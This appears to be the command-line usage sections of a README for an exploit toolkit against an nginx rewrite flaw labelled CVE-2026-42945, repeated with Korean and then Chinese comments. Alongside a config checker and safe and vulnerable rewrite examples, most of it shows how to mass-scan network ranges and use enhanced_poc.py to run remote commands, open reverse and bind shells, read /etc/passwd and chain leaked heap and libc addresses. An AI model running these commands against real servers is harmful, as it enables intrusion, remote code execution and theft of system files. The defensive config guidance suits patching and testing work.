server {
    # 취약: 이름 없는 캡처($1) + 대체 문자열 내 '?'
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # 안전: 이름 있는 캡처(?P<path>)가 $1을 대체
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# 버전 감지 및 취약점 테스트
python nginx_rift_poc.py -t target.example.com

# 사용자 정의 페이로드로 테스트
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 대상
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 취약한 테스트 설정 생성
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 안전한(패치된) 설정 생성
python nginx_rift_poc.py --gen-safe-config > safe.conf

# 대상 파일에서 스캔(형식: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 단일 대상 스캔
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 네트워크 범위 스캔
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 고속 스캔
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# 주석은 #으로 시작
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# 단일 파일 스캔
python config_checker.py /etc/nginx/nginx.conf

# 디렉터리 재귀 스캔
python config_checker.py -d /etc/nginx/conf.d/

# 취약한 패턴 자동 수정(.bak 백업 생성)
python config_checker.py --fix /etc/nginx/nginx.conf

# 일반적인 Nginx 경로 자동 감지
python config_checker.py

# 패턴 및 버전 자동 감지
python enhanced_poc.py -t target.example.com --detect

# 명령 실행(ASLR 꺼짐)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 리버스 셸
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 바인드 셸
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 원격 파일 읽기
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 사용자 정의 힙 기본(ASLR 꺼진 대상용)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 오버플로우 트리거로 & 사용
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# 단일 대상 스캔
python aslr_leak_detector.py -t target.example.com

# SSL 스캔
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 파일에서 스캔, 보고서 저장
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 네트워크 범위 스캔
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 빠른 스캔 모드
python aslr_leak_detector.py -t target.example.com --quick

# 1단계: 누출 감지
python aslr_leak_detector.py -t target.example.com -o leak.json

# 2단계: 누출된 주소를 익스플로잇에 사용
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# 툴킷 복제 또는 다운로드
git clone <repository-url>
cd CVE-2026-42945

# Python 버전 확인(3.7+ 권장)
python3 --version

# 도구 실행
python3 nginx_rift_poc.py --help

# 수정 전(취약)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 수정 후(안전)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

server {
    # 有漏洞：未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

server {
    # 安全：使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全（已修复）配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

# 从目标文件扫描（格式：每行 host:port）
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描（100线程）
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置（自动备份原文件）
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令（ASLR 关闭环境）
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell（在目标上监听）
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

# 步骤 1：检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2：使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本（推荐 3.7+）
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

# 修改前（有漏洞）
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后（安全）
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;